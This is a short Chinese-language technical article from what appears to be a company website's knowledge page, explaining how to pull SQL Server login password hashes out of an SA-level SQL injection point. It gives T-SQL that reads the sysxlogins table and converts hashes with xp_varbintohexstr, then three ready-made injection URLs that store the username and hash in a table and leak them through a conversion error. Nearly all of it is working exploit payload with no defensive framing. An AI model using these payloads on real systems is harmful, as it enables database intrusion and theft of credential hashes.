知识学堂
  • ·联系电话:+86.023-75585550
  • ·联系传真:+86.023-75585550
  • ·24小时手机:13896886023
  • ·QQ 咨 询:361652718 513960520
当前位置 > 首页 > 知识学堂 > 常见技术问题
SA注入点通过报错提取SQL账户HASH
更新时间:2012-04-11 | 发布人:本站 | 点击率:537

sysxlogins表中的password字段是varbinary,是没有办法通过报错获得的。最近偶尔看到一个叫xp_varbintohexstr的扩展储存,便有了思路:

核心演示代码(查询分析器)

declare @p varbinary(64),@u varchar(16),@s varchar(128);
select top 1 @u = name,@p = password from (select top 1 * from sysxlogins where password is NOT NULL order by name ASC)T order by name DESC;
exec xp_varbintohexstr @p,@s OUT;
select 'User:' + @u + '/Hash:' + @s;


理论的推导往往是可憎的,一下为本机asp+SA显错的测试结果:

Step.1

http://localhost/inject.asp?id=1;create+table+SQLhash(hash+varchar(2000))--

Step.2

http://localhost/inject.asp?id=1;declare+@p+varbinary(64),@u+varchar(16),@s+varchar(128);select+top+1+@u+=+name,@p+=+password+from+(select+top+1+*+from+master.dbo.sysxlogins+where+password+is+NOT+NULL+order+by+name+ASC)T+order+by+name+DESC;exec+master..xp_varbintohexstr+@p,@s+OUT;set+@s+=+'User:'+%2b+@u+%2b+'/Hash:'+%2b+@s;insert+into+SQLhash(hash)+values(@s)--

Step.3

http://localhost/inject.asp?id=1+and+(select+top+1+hash+from+SQLhash)=0--



 

分享到: QQ空间 新浪微博 开心网 人人网